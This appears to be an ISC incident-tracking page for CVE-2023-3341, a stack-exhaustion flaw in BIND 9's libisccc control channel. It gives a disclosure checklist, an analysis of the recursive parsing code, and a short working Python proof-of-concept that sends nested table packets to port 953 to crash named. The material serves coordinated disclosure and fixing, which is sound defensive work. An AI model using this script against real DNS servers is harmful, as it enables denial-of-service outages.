[CVE-2023-3341] A stack exhaustion flaw in control channel code may cause named to terminate unexpectedly
Quick Links | |
---|---|
Incident Manager: | @mnowak |
Deputy Incident Manager: | @ebf |
Public Disclosure Date: | 2023-09-20 |
CVSS Score: | 7.5 |
Security Advisory: | isc-private/printing-press!63 |
Mattermost Channel: | cve-2023-3341-stack-exhaustion-in-cc |
Support Ticket: | N/A |
Release Checklist: | #4289 (closed) |
Post-mortem Etherpad: | postmortem-2023-09 |
Earlier Than T-5
-
🔗 (IM) Pick a Deputy Incident Manager -
🔗 (IM) Respond to the bug reporter -
🔗 (IM) Create an Etherpad for post-mortem -
🔗 (SwEng) Ensure there are no public merge requests which inadvertently disclose the issue -
🔗 (IM) Assign a CVE identifier -
🔗 (SwEng) Update this issue with the assigned CVE identifier and the CVSS score -
🔗 (SwEng) Determine the range of product versions affected (including the Subscription Edition) -
🔗 (SwEng) Determine whether workarounds for the problem exist -
🔗 (SwEng) If necessary, coordinate with other parties -
🔗 (Support) Prepare and send out "earliest" notifications -
🔗 (Support) Create a merge request for the Security Advisory and include all readily available information in it -
🔗 (SwEng) Prepare a private merge request containing a system test reproducing the problem -
🔗 (SwEng) Notify Support when a reproducer is ready -
🔗 (SwEng) Prepare a detailed explanation of the code flow triggering the problem -
🔗 (SwEng) Prepare a private merge request with the fix -
🔗 (SwEng) Ensure the merge request with the fix is reviewed and has no outstanding discussions -
🔗 (Support) Review the documentation changes introduced by the merge request with the fix -
🔗 (SwEng) Prepare backports of the merge request addressing the problem for all affected (and still maintained) branches of a given product -
🔗 (Support) Finish preparing the Security Advisory -
🔗 (QA) Create (or update) the private issue containing links to fixes & reproducers for all CVEs fixed in a given release cycle -
🔗 (QA) (BIND 9 only) Reserve a block ofCHANGES
placeholders once the complete set of vulnerabilities fixed in a given release cycle is determined -
🔗 (QA) Merge the CVE fixes in CVE identifier order -
🔗 (QA) Prepare a standalone patch for the last stable release of each affected (and still maintained) product branch -
🔗 (QA) Prepare ASN releases (as outlined in the Release Checklist)
At T-5
-
🔗 (Support) Send ASN to eligible customers -
🔗 (Support) (BIND 9 only) Send a pre-announcement email to the <em>bind-announce</em> mailing list to alert users that the upcoming release will include security fixes
At T-4
At T-1
-
🔗 (Support) Verify that any new or reinstated customers have received the notification email -
🔗 (First IM) Send notifications to OS packagers
On the Day of Public Disclosure
-
🔗 (IM) Grant Support clearance to proceed with public release -
🔗 (Support) Publish the releases (as outlined in the release checklist) -
🔗 (Support) (BIND 9 only) Update vulnerability matrix in the Knowledge Base -
🔗 (Support) Bump Document Version for the Security Advisory and publish it in the Knowledge Base -
🔗 (First IM) Send notification emails to third parties -
🔗 (First IM) Advise MITRE about the disclosed CVEs -
🔗 (First IM) Merge the Security Advisory merge request -
🔗 (IM) Inform original reporter (if external) that the security disclosure process is complete -
🔗 (Support) Inform customers a fix has been released
After Public Disclosure
-
🔗 (First IM) Organize post-mortem meeting and make sure it happens -
🔗 (Support) Close support tickets -
🔗 (QA) Merge a regression test reproducing the bug into all affected (and still maintained) branches
The command channel library libisccc used by BIND parses the full TCP packet before performing the actual authentication. The packet is structured into binary data, tables and lists. By structuring the packet in a malicious way, repeated recursive calls to value_fromwire()
and table_fromwire()
can be triggered.
static isc_result_t
value_fromwire(isccc_region_t *source, isccc_sexpr_t **valuep) {
unsigned int msgtype;
uint32_t len;
isccc_sexpr_t *value;
isccc_region_t active;
isc_result_t result;
if (REGION_SIZE(*source) < 1 + 4) {
return (ISC_R_UNEXPECTEDEND);
}
GET8(msgtype, source->rstart);
GET32(len, source->rstart);
if (REGION_SIZE(*source) < len) {
return (ISC_R_UNEXPECTEDEND);
}
active.rstart = source->rstart;
active.rend = active.rstart + len;
source->rstart = active.rend;
if (msgtype == ISCCC_CCMSGTYPE_BINARYDATA) {
value = isccc_sexpr_frombinary(&active);
if (value != NULL) {
*valuep = value;
result = ISC_R_SUCCESS;
} else {
result = ISC_R_NOMEMORY;
}
} else if (msgtype == ISCCC_CCMSGTYPE_TABLE) {
result = table_fromwire(&active, NULL, 0, valuep);
} else if (msgtype == ISCCC_CCMSGTYPE_LIST) {
result = list_fromwire(&active, valuep);
} else {
result = ISCCC_R_SYNTAX;
}
return (result);
}
static isc_result_t
table_fromwire(isccc_region_t *source, isccc_region_t *secret,
uint32_t algorithm, isccc_sexpr_t **alistp) {
char key[256];
uint32_t len;
isc_result_t result;
isccc_sexpr_t *alist, *value;
bool first_tag;
unsigned char *checksum_rstart;
REQUIRE(alistp != NULL && *alistp == NULL);
checksum_rstart = NULL;
first_tag = true;
alist = isccc_alist_create();
if (alist == NULL) {
return (ISC_R_NOMEMORY);
}
while (!REGION_EMPTY(*source)) {
GET8(len, source->rstart);
if (REGION_SIZE(*source) < len) {
result = ISC_R_UNEXPECTEDEND;
goto bad;
}
GET_MEM(key, len, source->rstart);
key[len] = '\0'; /* Ensure NUL termination. */
value = NULL;
result = value_fromwire(source, &value);
if (result != ISC_R_SUCCESS) {
goto bad;
}
...
On my test machine each iteration between two calls to table_fromwire()
required 432 bytes of
stack memory. If enough calls can be triggered, this might lead to exhaustion of the available
stack memory and causing a segmentation fault. The amount of iterative calls is limited by the
parameter to isccc_ccmsg_setmaxsize()
which is 32768 in case of BIND named. This is not enough
to exhaust the 8MB of process stack usually configured on Linux systems, but poses an issue on
FreeBSD (stack size of 65536 set via ulimit) (see #4152 (comment 383112)) and MS Windows systems (stack size of 1MB by
default). Other systems where ulimit is used to restrict stack usage are affected as well.
It was tested with the debug build of the latest 9 BIND9 version that supports windows:
Unhandled exception at 0x00007FFCB43676C0 (libisccc.dll) in named.exe: 0xC00000FD: Stack overflow
, (parameters: 0x0000000000000001, 0x000000F149503F10).
The issue can be triggered by sending the maliciously formatted data to the rdnc port:
import socket
HOST = "127.0.0.1"
PORT = 953
depth = 4500
# should not be more than isccc_ccmsg_setmaxsize(&conn->ccmsg, 32768);
total_len = 10 + (depth * 7) - 6
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
data = b''.join([
total_len.to_bytes(4, 'big'), # <total lenght>
b'\x00\x00\x00\x01', # <version>
b'\x01\x41', # <size><name>
])
for i in range(depth, 0, -1):
l = (i - 1) * 7
t = b''.join([
b'\x02', # ISCCC_CCMSGTYPE_TABLE
l.to_bytes(4, 'big'), # <size>
b'\x01\x41', # <size><name>
])
data = b''.join([data, t])
s.connect((HOST, PORT))
s.sendall(data)
Usually \ac{TCP} port 953 should not be reachable to untrusted parties due to firewalling and the BIND9 configuration, but since authentication is performed as well, this might not always be the case.